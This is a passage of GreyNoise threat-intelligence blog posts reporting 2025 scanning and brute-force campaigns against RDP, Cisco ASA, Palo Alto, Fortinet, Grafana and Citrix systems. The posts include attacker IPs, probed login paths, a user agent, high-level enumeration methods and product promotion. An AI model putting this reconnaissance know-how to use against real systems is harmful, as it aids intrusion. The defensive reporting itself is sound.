‍

‍

The network graph demonstrates interconnected operations: different vulnerability chains (PHPUnit RCE, ThinkPHP, PHP CGI) share infrastructure, which suggests either a single large group or multiple groups reusing the same toolsets and pool infrastructure.

‍

The November window

This is early November 2025—historically a strong month for Bitcoin and, given current prices and recent monetary easing, an attractive window for miners. The activity spike through September and October looks like positioning: compromise now, mine during the high-value period.

If November follows historical patterns and prices climb materially, deployed miners will earn significantly more than they would have months earlier. The Fed’s easing and the end of QT add a tailwind for risk assets, further reinforcing the incentive for attackers to maximize deployed capacity now.

‍

What’s actually happening

Put bluntly, it’s volume economics. Scan thousands, compromise hundreds, deploy miners, and collect coins. The exploited PHP vulnerabilities range from trivial to complex, but automation compresses the skill requirement. Mining software and scripts are standardized; collection is automated via pools.

The campaigns we see are industrial in scale. Over 1,700 attacking IPs from major cloud providers suggest large botnets or significant rented infrastructure. Upward trends show successful scaling. Shared infrastructure and tooling point to coordination or a robust community market for exploitation and deployment tools.

Computing power → cryptocurrency → monetary value. When that chain lines up with favorable market conditions, criminal actors respond rationally: they increase mining capacity and run it while the window is lucrative.

GreyNoise has observed steady deployments of previously unseen IPs attacking Microsoft RDP services through timing-based vulnerabilities. Attackers are rotating significant volumes of new IPs each day to target two primary vectors — RD Web Access timing attacks and RDP web client login enumeration — likely in an effort to evade detection and blocking.

Use GreyNoise Block to dynamically block all IPs engaged in this activity. On 10 October, GreyNoise partially linked this activity to a global botnet, publishing a blocking template named “Oct-2025 RDP Botnet Campaign.” Applying this template instantly neutralizes the threat actors’ IP rotation strategy. 

‍

‍

‍

From September 2025 to present, we’ve observed a steady rise in the number of unique IPs targeting RDP — now exceeding 500,000. 

‍

‍

Geographic Distribution

The top three source countries in the past 90 days are:

• Brazil (63%)
• Argentina (14%)
• Mexico (3%)

Nearly 100 percent of targeting has been directed at U.S.-based systems. Source and target patterns remain consistent with the botnet activity first identified on 10 October. 

‍

IP Turnover Increases Risk

The rapid churn of new IPs underscores an emerging trend: threat actors are increasingly rotating infrastructure to evade static blocking and complicate attribution.

Use GreyNoise Block to dynamically block all IPs engaged in this activity. The “Oct-2025 RDP Botnet Campaign” template remains the most effective method for mitigation. Get started with a free 14-day trial.

‍

GreyNoise will continue to monitor the situation and update this post as necessary. 

‍

— — — ‍

‍

^{This discovery was led by boB Rudis.‍}

Update: 15 October 2025

GreyNoise is sharing an Executive Situation Report (SITREP) for this event, providing leadership with actionable judgments and evidence to support decision making.

‍

Update: 14 October 2025

‍In a significant escalation, the botnet has grown to ~300,000 IPs — more than tripling in size. The threat actor(s) continues its focus on RDP infrastructure in the United States, leveraging IPs from Brazil, Argentina, Singapore, and other countries. 

The associated threat actor(s) is rapidly activating new botnet nodes to target U.S. RDP infrastructure. Therefore, static defense measures will not be effective at mitigating this threat.

‍

‍

Since October 8, 2025, GreyNoise has tracked a coordinated botnet operation involving over 100,000 unique IP addresses from more than 100 countries targeting Remote Desktop Protocol (RDP) services in the United States. The campaign employs two specific attack vectors — RD Web Access timing attacks and RDP web client login enumeration — with most participating IPs sharing one similar TCP fingerprint, indicating centralized control. 

‍

Use GreyNoise Block to dynamically block all IPs engaged in this activity.  New users can try GreyNoise Block free for 14-days.

• Leverage the template named “Oct-2025 RDP Botnet Campaign"

‍

Key Findings 

• Campaign start: October 8, 2025 — coordinated RDP targeting wave begins. 
• Scale: Over 100,000 unique IPs participating in US-focused RDP attacks. 
• Geographic scope: 100+ source countries including Brazil, Argentina, Iran, China, Mexico, Russia, South Africa, Ecuador, and others.
• Primary target: United States RDP infrastructure, mostly uniform across source countries.
• Attack methods: Microsoft RD Web Access Anonymous Authentication Timing Attack Scanner and Microsoft RDP Web Client Login Enumeration Check.
• Signatures: Similar TCP fingerprints across all participating IPs. GreyNoise customers can check their email for the precise client signatures identified. 
• Botnet activity: We assess with high confidence that the elevated RDP targeting beginning this week is attributable to a multi-country botnet. 

‍

Discovery Timeline

Spike in Brazil-geolocated IPs

The botnet was discovered after GreyNoise detected an unusual spike in Brazilian IP space this week, which prompted investigation into broader traffic patterns.

‍

‍

Note: Full interaction = completed three-way handshake; No 3wh = no three-way handshake

‍

Broader Spikes Across Source Countries

Broadening our analysis, we observed additional surges in activity across many source countries since the beginning of October. 

‍

‍

Multi-Country Botnet Targeting US RDP Infrastructure

Pivoting from these findings, we then discovered a repeated pattern in RDP targeting — originating from many countries, sharing a similar client fingerprint, and all targeting US RDP infrastructure. 

‍

‍

Several factors suggest this activity is originating from one botnet:

• Almost all traffic shared one similar TCP fingerprint, with only the MSS changing. 
• MSS in this context likely changes depending on the compromised botnet cluster.
• The timing and pattern of targeting implies coordinated activity with centralized control.
• The shared RDP attack vector again suggests centralized control, likely activated by the operator(s) for this sole purpose. 

‍

Defender Recommendations 

• Use GreyNoise Block to dynamically block all IPs engaged in this activity. Get started with a free 14-day trial.
  
  • Leverage the template named “Oct-2025 RDP Botnet Campaign”
• Check logs for any unusual RDP probing.
• Monitor the GreyNoise tags implicated in this event: 
  
  • Microsoft RD Web Access Anonymous Authentication Timing Attack Scanner
  • Microsoft RDP Web Client Login Enumeration Check

‍

GreyNoise will continue monitoring the situation and provide updates here as necessary. 

‍

---

^{This discovery was led by boB Rudis with contributions from the broader GreyNoise team.} ‍

Update: 8 October 2025

GreyNoise has identified several links between three recent campaigns: 

• Cisco ASA scanning.
• Elevated login attempts against Palo login portals.
• Spike in brute force attempts against Fortinet SSL VPNs (new; info below).

We assess with high confidence that all three campaigns are at least partially driven by the same threat actor(s), evidenced by: 

• Recurring fingerprint: shared TCP fingerprints across each campaign. 
• Shared infrastructure: recurring subnets leveraged in each campaign. 
• Temporal correlation: elevated activity at similar times across each campaign. 

In addition to continued escalation of login attempts against Palo login portals, GreyNoise has identified likely related and coordinated credential brute forcing against Fortinet SSL VPNs. We are providing lists of credentials used in both campaigns:

• Fortinet SSL Brute Forcing
• Palo Alto Networks Login Attempts

‍

‍

All three campaigns — Cisco ASA scanning, Palo login attempts, and Fortinet VPN brute forcing — heavily rely on the same subnets: 

‍

‍

‍Use GreyNoise Block to directly block threat IPs from all relevant GreyNoise tags (ASA Scanner, Fortinet VPN Bruteforcer, Palo Scanner) and the below ASNs:

• AS200373 (3xK Tech GmbH)
• AS11878 (tzulo, Inc.)

Defenders can use GreyNoise Block to craft custom blocklists, instantly mitigating risk at the perimeter.

‍

Elevated Fortinet Brute Force Attempts Correlated with New Vulnerabilities 

In July, GreyNoise research identified a significant correlation: 

Spikes in Fortinet VPN brute force attempts are typically followed by Fortinet VPN vulnerabilities disclosures within six weeks. 

‍

‍

Block all IPs brute forcing Fortinet SSL VPNs, and consider hardening defenses for firewall and VPN appliances amid these findings.

‍

‍

Update: 7 October 2025

For defender review, GreyNoise has published a list of all unique usernames and passwords from Palo login attempts observed in the last week.

GreyNoise has produced an Executive Situation Report (SITREP) on the situation, intended for decision makers.  

‍In the past days, GreyNoise has observed an escalation in scanning against Palo Alto Networks PAN-OS GlobalProtect login portals. Since our original reporting of ~1,300 IPs in the afternoon of 3 October, we have observed a sharp rise in the daily number of unique IPs scanning for Palo login portals. Peaking today on 7 October, over 2,200 unique IPs scanned for Palo login portals.

‍

‍

Increasing ASN Diversity Suggests Broadening Operator Involvement

In addition to an increase in the number of IPs involved, GreyNoise has observed a sharp increase in the unique count of ASNs involved in scanning Palo login portals, suggesting an increase in the number of threat actors involved. 

‍

‍

Separately, we discovered that approximately 12 percent of all ASN11878 subnets are allocated to scanning Palo login portals.

‍

Potential Iteration Through Large Credential Dataset

The pace of login attempts suggests elevated activity may be driven by a threat actor(s) iterating through a large dataset of credentials.

‍

‍

‍

On October 3, 2025, GreyNoise observed a ~500% increase in IPs scanning Palo Alto Networks login portals, the highest level recorded in the past 90 days. 

‍

‍

‍

GreyNoise research in July found that surges in activity against Palo Alto technologies have, in some cases, been followed by new vulnerability disclosures within six weeks (see chart below). However, surges against GreyNoise’s Palo Alto Networks Login Scanner tag have not shown this correlation. GreyNoise will continue monitoring in case this activity precedes a new Palo Alto disclosure, which would represent an additive signal to our July research.  

‍

‍

Key Findings

• Volume: ~1,300 unique IPs triggered GreyNoise’s Palo Alto Networks Login Scanner tag on 3 October. For the prior 90 days, daily volumes rarely exceeded 200 IPs.
• Classification: 93% of IPs were classified as suspicious and 7% as malicious.
• Source infrastructure: 91% of IPs geolocated to the United States, with smaller clusters in the U.K., Netherlands, Canada, and Russia. 
• Targeted profiles: Nearly all activity was directed at GreyNoise’s emulated Palo Alto profiles (Palo Alto GlobalProtect, Palo Alto PAN-OS), suggesting the activity is targeted in nature, likely derived from public (e.g., Shodan, Censys) or attacker-originated scans fingerprinting Palo Alto devices.
• Destination focus: Distinct scanning clusters were observed in the past 48 hours. One directed most of its traffic toward the United States, while another concentrated on Pakistan – both from distinct TCP fingerprints but not without overlap. Environments/Sensors/Deployments based in Mexico, France, Australia, and the U.K. were also targeted. 

‍

Potentially Related Activity

GreyNoise analysis shows that this Palo Alto surge shares characteristics with Cisco ASA scanning occurring in the past 48 hours. In both cases, the scanners exhibited regional clustering and fingerprinting overlap in the tooling used. Both Cisco ASA and Palo Alto login scanning traffic in the past 48 hours share a dominant TCP fingerprint tied to infrastructure in the Netherlands. This comes after GreyNoise initially reported an ASA scanning surge before Cisco’s disclosure of two ASA zero-days.

These similarities indicate the activity may be related through shared tooling or centrally managed infrastructure, but GreyNoise cannot confirm whether it was carried out by the same operators or with the same intent. 

‍

Cross-Tech Activity May Be Coordinated

In addition to a possible connection to ongoing Cisco ASA scanning, GreyNoise identified concurrent surges across remote access services. While suspicious, we are unsure if this activity is related. 

‍

‍

Implications for Defenders

‍

‍

• The October 3 surge was the largest burst of IPs scanning for Palo Alto login portals in three months.
• Almost all participating infrastructure was first observed in the past 48 hours. 
• Traffic was targeted and structured, aimed overwhelmingly at Palo Alto login portals and split across distinct scanning clusters.

These factors distinguish the surge from background noise and mark it as a clear reconnaissance event. GreyNoise will continue monitoring for potential follow-on exploitation attempts. 

‍

GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.

‍

— — — 

‍

^{This research and discovery was a collaborative effort between boB Rudis and Noah Stone, with additional contributions from Towne Besel.}

‍

‍

For executive audiences, please see the accompanying Situation Report (SITREP) for this activity.

‍

On 28 September 2025, GreyNoise observed a sharp one-day surge of exploitation attempts targeting CVE-2021-43798 — a Grafana path traversal vulnerability that enables arbitrary file reads. Over the course of the day, 110 unique IPs attempted exploitation against GreyNoise’s Global Observation Grid (GOG). All 110 IPs are classified as malicious. 

‍

The Spike

Grafana exploitation had been largely quiet in recent months. On 28 September, activity spiked sharply:

• 110 unique IPs observed in a single day. 
• Destinations targeted: United States, Slovakia, and Taiwan — the only three destinations observed. 
• Top three source countries: Bangladesh (107 IPs), China (2 IPs), Germany (1 IP).
• Of the Bangladesh-based IPs, 105 of 107 targeted U.S. endpoints.
• The majority of IPs were first seen on 28 September, the same day they attempted exploitation. 

‍

‍

‍

Patterns in the Activity 

Two elements stand out in the data: 

• Consistent targeting across sources. All traffic followed a distinct destination pattern, targeting each country following a roughly 3:1:1 ratio (U.S.: Slovakia: Taiwan). Similar patterns in traffic ratios emerged when narrowing this view to the top three source countries: 
  
  • China-based IPs → U.S. (7), Slovakia (2), Taiwan (2)
  • Germany-based IPs → U.S. (3), Slovakia (1), Taiwan (1)
  • Bangladesh-based IPs → U.S. (100), Slovakia (1), Taiwan (1)
• Convergence across tooling. The top TCP fingerprints observed that day also mapped to the same three destinations. Looking back further at activity against this tag, GreyNoise has identified at least two distinct HTTP fingerprints as well, further indicating multiple tools being applied against a common target set.

The alignment across both geography and tooling suggests shared tasking or a common target list, not uncoordinated traffic. 

‍

Notable Infrastructure

Two IPs geolocated to China are worth highlighting:

• 60.186.152.35
• 122.231.163.197

Both belong to CHINANET-BACKBONE, were first observed on 28 September, active only that day, and overwhelmingly focused on Grafana. 

‍

Threat Context 

Exploitation of older, high-impact vulnerabilities like CVE-2021-43798 is common across different threat categories: 

• Global Exploitation: Grafana path traversal and related vulnerabilities have been leveraged in large-scale SSRF / exploit waves targeting many IPs and software ecosystems. 
• Vulnerability Reuse & Toolkits: Grafana flaws (e.g., CVE-2025-6023) are being actively researched and weaponized for account takeovers and integrated into attacker tool sets. 
• Exploit Chains & Reconnaissance: In advisories and analyses, Grafana vulnerabilities show up in reconnaissance stages of multi-step exploit chains (such as SSRF campaigns).

‍

Assessment 

This activity reflects a coordinated push against a known, older vulnerability. The uniform targeting pattern across source countries and tooling indicates common tasking or shared exploit use. GreyNoise does not attribute this to a specific threat actor, but the convergence suggests either one operator leveraging diverse infrastructure or multiple operators reusing the same exploit kit and target set. 

We anticipate old vulnerabilities —  like CVE-2021-43798, and even older ones — will continue resurging in the future. Read GreyNoise’s research from earlier this year to learn more about the patterns and behaviors resurgent vulnerabilities tend to exhibit, and how defenders can stay ahead. 

‍

Defender Recommendations

• Block the 110 malicious IPs observed on 28 September. 
• Confirm Grafana instances are patched against CVE-2021-43798.
• Review logs for evidence of traversal requests and ensure no sensitive files were returned. 

Please contact your GreyNoise support team if you are interested in the JA4+ signatures in this investigation.

‍

GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.

‍

— — — 

‍

^{This research and discovery was a collaborative effort between Glenn Thorpe, Noah Stone, Towne Besel, and boB Rudis.}

Update: 9 October

GreyNoise identified a connection between three campaigns targeting Cisco, Palo Alto, and Fortinet firewalls and VPNs. We observed infrastructure overlap between recent Cisco ASA scanning, Palo login attempts, and Fortinet brute force attempts:

‍

‍

See the full update here. 

‍

Update: 29 September 2025

GreyNoise has produced an Executive Situation Report (SITREP) on the situation, intended for decision makers.

Update: 26 September 2025

Yesterday, Cisco announced two zero-day vulnerabilities affecting their Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) platforms. These disclosures come just weeks after GreyNoise reported a surge in scanning activity against Cisco ASA devices (see initial reporting below). The timing is notable because recent research found that spikes in attacker activity against a specific technology (white dots) may serve as an early warning signal for future vulnerability disclosures affecting that same technology (red dots). 

‍

‍
‍

GreyNoise’s detection of 25,000 IPs scanning Cisco ASA in the weeks leading up to two zero day disclosures is a clear example of this research turning into reality:

“This is a real signal we’re seeing in our data across enterprise edge tech,” said boB Rudis, VP of Data Science and Security Research at GreyNoise. “We see elevated attacker activity against XYZ tech and then weeks later, new CVEs are disclosed affecting XYZ tech. This has repeatedly happened across enterprise edge, with Cisco ASA being the most recent example. So, yes, we’re very excited to learn our data may serve as an early warning signal for future vulnerability disclosures and we hope defenders will use this information to make the world a little safer.”
‍

CISA issued an Emergency Directive (ED 25-03), requiring federal agencies to apply mitigations within 24 hours — representing the third-ever emergency directive since the agency’s founding. Both vulnerabilities, tracked as CVE-2025-20333 and CVE-2025-20362, have been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog.
‍

Resurgent Brute Force Attacks Against Cisco SSL VPNs

After investigating activity against our Cisco profiles, GreyNoise identified resurgent brute force attacks targeting Cisco SSL VPNs occurring yesterday at approximately 1:00pm EST. This activity was preceded by a period of inactivity, ceasing on September 24 at 6PM EST and restarting yesterday. All traffic during this period shares the same client fingerprint and source organization (Global Connectivity Solutions LLP), along with other shared characteristics: 

• Example URI: /+webvpn+/index.html
• User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36

‍

Take Action Now

CISA has issued guidance and mitigation instructions related to CVE-2025-20333 and CVE-2025-20362. We encourage defenders to review CISA’s official resources and apply recommended actions. 

GreyNoise will continue monitoring its Cisco profiles for anomalous behavior, and will provide updates here as necessary. 
‍

---

End of Update
‍

GreyNoise observed two scanning surges against Cisco Adaptive Security Appliance (ASA) devices in late August. The first involved more than 25,000 unique IPs in a single burst; the second, smaller but related, followed days later. This activity represents a significant elevation above baseline, typically registering at less than 500 IPs per day. 

Both events targeted the ASA web login path (/+CSCOE+/logon.html), a common reconnaissance marker for exposed devices. Subsets of the same IPs also probed GreyNoise’s Cisco Telnet/SSH and ASA software personas, signaling a Cisco-focused campaign rather than purely opportunistic scanning. 

‍

The Two Spikes

• Spike One: ~25,000 IPs scanned ASA login portals; a subset also targeted Cisco IOS Telnet/SSH.
• Spike Two: A smaller wave repeated ASA probing, with subsets hitting both IOS Telnet/SSH and ASA software personas. 
• Shared traits: Overlapping client signatures and spoofed Chrome-like user-agents, indicating a common scanning toolkit used across both events. 

‍

‍

Geographic Context

In the past 90 days, GreyNoise has observed traffic triggering its Cisco ASA Scanner tag originating from and targeting the following countries: 

Top Source Countries: 

1. Brazil (64%)
2. Argentina (8%)
3. United States (8%)

Top Target Countries:

1. United States (97%)
2. United Kingdom (5%)
3. Germany (3%)

Note: Target country percent sum may exceed 100% due to one source IP targeting several IPs based in different countries. 

‍

Brazil-Heavy Botnet Behind August 26 Wave

Analysis of the August 26 wave shows that it was driven primarily by a single botnet cluster concentrated in Brazil. By isolating a specific client fingerprint, and reviewing two months of activity, GreyNoise determined that this fingerprint was used exclusively to scan for Cisco ASA devices.

On August 26: 

• 16,794 IPs were observed scanning ASA devices.
• 2,858 did not match this client signature.
• Meaning roughly 14,000 of the ~17,000 IPs active that day — more than 80% — were tied to this botnet. 

The client signature was seen alongside a suite of closely related TCP signatures, suggesting all nodes share a common stack and tooling. This makes the August 26 spike attributable to a coordinated botnet campaign dominated by Brazil-sourced infrastructure. 

‍

Could Indicate Upcoming Cisco ASA Vulnerability Disclosure

GreyNoise’s Early Warning Signals research shows that scanning spikes often precede disclosure of new CVEs. In past cases, activity against GreyNoise’s Cisco ASA Scanner tag surged shortly before a new ASA vulnerability was disclosed (see last row in chart below). The late-August spikes may represent a similar early warning signal. 

‍

Even if organizations are fully patched, blocking these IPs now may reduce the likelihood of appearing on target lists used to exploit new CVEs in the future. 

‍

Related Real-World Precedent 

• Espionage: The ArcaneDoor campaign used two zero-days in Cisco ASA (Line Dancer, Line Runner) to infiltrate government networks. 
• Ransomware: The Akira and LockBit ransomware groups have historically targeted Cisco ASA systems. 
• Global Campaign: CVE-2020-3452 was weaponized worldwide soon after disclosure, with exploitation attempts observed within days. 

‍

Defender Takeaways

• Limit exposure: Avoid placing ASA web portals, Telnet, or SSH directly on the internet.
• Patch quickly if a new CVE emerges: ASA vulnerabilities have historically been exploited soon after disclosure. 
• Require MFA: Strengthen remote access with multi-factor authentication. 

Monitor GreyNoise’s Cisco ASA tags for real-time scanning and exploitation activity: 

• Cisco ASA Scanner
• Cisco ASA CVE-2020-3259 Information Disclosure Attempt
• Cisco ASA Information Disclosure Attempt 
• Cisco ASA XSS Attempt 
• Cisco ASA Arbitrary File Retrieval Attempt

‍

GreyNoise will continue monitoring the situation and update this blog as necessary. Concentrated reconnaissance bursts, such as those in August, should be treated as potential early indicators of future vulnerability disclosures. 

Please contact your GreyNoise support team if you are interested in the JA4+ signatures in this investigation.

‍

GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.

‍

— — — 

‍

^{This research and discovery was a collaborative effort between Towne Besel and Noah Stone.}

Update: 25 August 2025

Hours after publishing this blog, GreyNoise identified a much larger wave: on August 24, over 30,000 unique IPs simultaneously triggered both Microsoft RD Web Access and Microsoft RDP Web Client tags, largely from the same client signature behind the August 21 spike we reported below.

‍

‍

‍

‍

A Sudden Surge in RDP Probing 

On August 21, GreyNoise observed a sharp surge in scanning against Microsoft Remote Desktop (RDP) services. Nearly 2,000 IPs — the vast majority previously observed and tagged as malicious — simultaneously probed both Microsoft RD Web Access and Microsoft RDP Web Client authentication portals. The wave’s aim was clear: test for timing flaws that reveal valid usernames, laying the groundwork for credential-based intrusions. 

‍

The Spike

• Normal baseline: ~ 3-5 IPs/day across these tags.
• August 21: 1,971 IPs — orders of magnitude above baseline.
• 100% overlap: every IP on one tag also appeared on the other.
• Timelines show the same client signature hitting both tags simultaneously.
• The client signature was first observed August 21 and has only engaged in activity targeting Microsoft RDP. 

‍

Microsoft RD Web Access

‍

‍

‍

Microsoft RDP Web Client

‍

‍

What the Data Shows

• Uniform client signature: 1,851/1,971 IPs shared the same client signature, indicating a single toolset or botnet module. 
• Malicious classifications: 1,698/1,851 (~ 92%) of those IPs are already tagged malicious in GreyNoise.
• Sources & Targets: Source countries skew heavily to Brazil (~ 73%); the United States was the only target country observed in this spike. 
• Multi-pronged behavior: The same IPs were also flagged as Open Proxy Scanners and Web Crawlers, consistent with a multipurpose toolkit that includes carrying an HTTP referrer header. 

Separately but potentially relevant, on August 22 GreyNoise observed a spike in scanning for open proxies. This heightened activity follows recent anomalies observed on July 31 and August 9 against GreyNoise’s Open Proxy Scanner tag. Early research indicates there is partial overlap in client signatures between this spike and the RDP scan detected on August 21. 

‍

Why Now? Back-to-School Exposure

The timing may not be accidental. August 21 sits squarely in the US back-to-school window, when universities and K-12 bring RDP-backed labs and remote access online and onboard thousands of new accounts. These environments often use predictable username formats (student IDs, firstname.lastname), making enumeration more effective. Combined with budget constraints and a priority on accessibility during enrollment, exposure could spike. 

The campaign’s US-only targeting aligns with that calendar — education and IT teams should harden RDP now and watch for follow-up activity from this same client signature. 

‍

What’s Being Mapped

The RDP scanners were doing more than just touching login pages:

• Step 1: Finding endpoints — identifying IPs that expose RD Web Access or RDP Web Client. 
• Step 2: Testing for flaws — checking if authentication workflows leak information via timing (or other login-flow differences) that lets an attacker infer valid usernames. 

This is enumeration: confirming accounts on exposed systems so later credential stuffing, password spraying, or brute force has a much higher chance of success. 

‍

Why It Matters

A large, uniform, maliciously-classified scanner set is actively mapping Microsoft RDP authentication surfaces for account discovery weaknesses. Even without immediate exploitation, the output of this campaign (which endpoints exist, which accounts likely exist) is directly reusable for: 

• Credential stuffing (pairing confirmed usernames with breached passwords)
• Password spraying/brute force (now guided by a valid-user list)
• Future exploitation (attacker already has target map if an RDP-related CVE emerges)

Recent research found spikes in attacker activity against a given technology tend to precede new vulnerabilities in that technology. In 80 percent of cases, a new vulnerability emerged within six weeks of a spike. 

‍

Related Real-World Precedent

RDP has been leveraged by threat actors in the past to conduct espionage, deploy ransomware, and run global exploit campaigns: 

• Espionage — Russia-nexus actor abusing RDP features for data theft: Google Threat Analysis Group (TAG) reported a suspected Russia-nexus espionage actor (UNC5839) abusing lesser-known RDP capabilities to read victim drives and exfiltrate files during targeted intrusions. Different from timing/enumeration, but shows RDP used directly in espionage tradecraft. The incident mainly targeted European militaries and governments. 
• Ransomware — SamSam’s RDP initial access: U.S. CISA/FBI’s SamSam advisory documents actors using RDP for persistent access, typically via brute force or stolen credentials, before deploying ransomware (e.g., City of Atlanta). 
• Global exploitation event — BlueKeep (CVE-2019-0708): In 2019, a critical flaw in Windows Remote Desktop Services — the service behind RDP — was broadly scanned and then exploited in the wild (e.g., cryptominer campaigns). It’s a clear example of RDP-exposed systems moving from recon to mass exploitation once a workable flaw appears. 

GreyNoise will continue monitoring the situation and update this blog as necessary. 

Please contact your GreyNoise support team if you are interested in the JA4+ signatures in this investigation.

‍

GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.

‍

— — — 

^{Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content initiatives that illuminate the complexities of internet noise and threat intelligence. In past roles, he led partnered research initiatives with Google and the U.S. Department of Homeland Security. With a background in finance, technology, and engagement with the United Nations on global topics, Stone brings a multidimensional perspective to cybersecurity. He is also affiliated with the Council on Foreign Relations.‍}

On August 3, GreyNoise observed a significant spike in brute-force traffic targeting Fortinet SSL VPNs. Over 780 unique IPs triggered our Fortinet SSL VPN Bruteforcer tag in a single day — the highest single-day volume we’ve seen on this tag in recent months. 

‍

‍

‍

‍

New research shows spikes like this often precede the disclosure of new vulnerabilities affecting the same vendor — most within six weeks. In fact, GreyNoise found that spikes in activity triggering this exact tag are significantly correlated with future disclosed vulnerabilities in Fortinet products. The below chart shows spikes in activity against Fortinet tags (white dots) and CVE disclosures affecting Fortinet products (red dots): 

Critically, the observed traffic was also targeting our FortiOS profile, suggesting deliberate and precise targeting of Fortinet’s SSL VPNs. This was not opportunistic — it was focused activity. 

The top target countries in the past 90 days are Hong Kong and Brazil. 

‍

A Tale of Two Brute Force Waves Against Fortinet

When we reviewed a two week window of traffic matching the Fortinet SSL VPN Bruteforcer tag, two distinct waves emerged: 

• Wave One: A long-running set of brute-force activity tied to a single TCP signature that remained relatively steady over time. 
• Wave Two: A sudden and concentrated burst of traffic beginning August 5. This second wave had a completely different TCP signature and stood out due to its abrupt onset. 

This made the decision easy: we pivoted to the second wave to learn more. 

‍

A Shift in Targeting: From VPN to FortiManager

Once the TCP signature for the second wave was isolated, we paired it with an observed client signature seen in sessions during the same timeframe. 

What we found was surprising. 

While the August 3 traffic has targeted the FortiOS profile, traffic fingerprinted with TCP and client signatures — a meta signature — from August 5 onward was not hitting FortiOS. Instead, it was consistently targeting our FortiManager - FGFM profile albeit still triggering our Fortinet SSL VPN Bruteforcer tag. 

This indicated a shift in attacker behavior — potentially the same infrastructure or toolset pivoting to a new Fortinet-facing service. 

IPs associated with the meta signature:

31.206.51.194
23.120.100.230
96.67.212.83
104.129.137.162
118.97.151.34
180.254.147.16
20.207.197.237
180.254.155.227
185.77.225.174
45.227.254.113

‍

A Residential Clue

One additional lead emerged during the investigation. 

When reviewing historical data tied to the same post-August 5 TCP fingerprint, we found an earlier spike in June with a unique client signature that resolved to an IP — a FortiGate device — in a residential ISP block (Pilot Fiber Inc.). This may indicate that the brute-force tooling was initially tested or launched from a home network — or it could reflect use of a residential proxy. A quick search of the device revealed: 

• Not detected as a residential proxy or host of VPN services by Spur.us. 
• Recent detections by AbuseDB.
• Not seen on Virustotal.

Notably, traffic tied to that same client signature in June was later seen paired with the same TCP signature associated with the longer-running brute-force cluster (Wave One) mentioned earlier. This overlap doesn’t confirm attribution, but it suggests possible reuse of tooling or network environments. Simply put, this side quest led us back to the original traffic associated with the August 3 spike. 

‍

Key Takeaways

• Brute-force attacks against Fortinet SSL VPN continue, and they appear to evolve over time.
• GreyNoise uncovered a behavioral shift, with traffic moving from FortiOS targeting to FGFM targeting just days after the August 3 spike. 
• JA4+ based signatures reveal clustering, connecting recent waves to prior traffic — and even a potential residential origin. 
• GreyNoise research has shown that spikes in attacker activity often precede new vulnerabilities affecting the same vendor — with 80 percent of observed cases followed by a CVE disclosure within six weeks. 

‍

Defender Recommendations

Use GreyNoise to:

• Search for this traffic using our Fortinet SSL VPN Bruteforcer tag.
• Block malicious IPs using our dynamic IP blocklist for this tag. 

‍

‍

Please contact your GreyNoise support team if you are interested in the JA4+ signatures in this investigation.

GreyNoise will continue monitoring the situation and provide updates as necessary. 

‍

GreyNoise is developing an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more or get on the waitlist.

‍

— — — 

‍

^{This research and discovery was a collaborative effort between Towne Besel and Noah Stone.} ‍

GreyNoise has observed active exploitation attempts against CVE-2025-5777 (CitrixBleed 2), a memory overread vulnerability in Citrix NetScaler. Exploitation began on June 23 — nearly two weeks before a public proof-of-concept (PoC) was released on July 4. 

We created a tag on July 7 to track this activity. Because GreyNoise retroactively associates pre-tag traffic with new tags, prior exploitation attempts are now visible in the GreyNoise Visualizer. 

‍

Key Observations

• First observed activity: June 23, 2025
• PoC released: July 4, 2025
• GreyNoise tag published: July 7, 2025
• CISA confirms activity with GreyNoise: July 9, 2025 (prior to KEV addition) 

‍

‍

‍

Targeted Behavior 

Early exploitation attempts came from malicious IPs geolocated in China. Rather than exploiting indiscriminately, these IPs targeted GreyNoise sensors configured to emulate Citrix NetScaler appliances, suggesting deliberate targeting. 

‍

CISA Confirmation 

On July 9, shortly after we published the tag, CISA contacted GreyNoise to confirm exploitation activity. CVE-2025-5777 was subsequently added to the Known Exploited Vulnerabilities (KEV) catalog. 

‍

Recommended Actions

Defenders can dynamically block malicious IPs to reduce exposure and suppress alerts. 

‍

‍

The above list will stay updated as new IPs are observed attempting to exploit CVE-2025-5777.

‍

‍GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.

‍

— — —

‍

^{Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content initiatives that illuminate the complexities of internet noise and threat intelligence. In past roles, he led partnered research initiatives with Google and the U.S. Department of Homeland Security. With a background in finance, technology, and engagement with the United Nations on global topics, Stone brings a multidimensional perspective to cybersecurity. He is also affiliated with the Council on Foreign Relations.}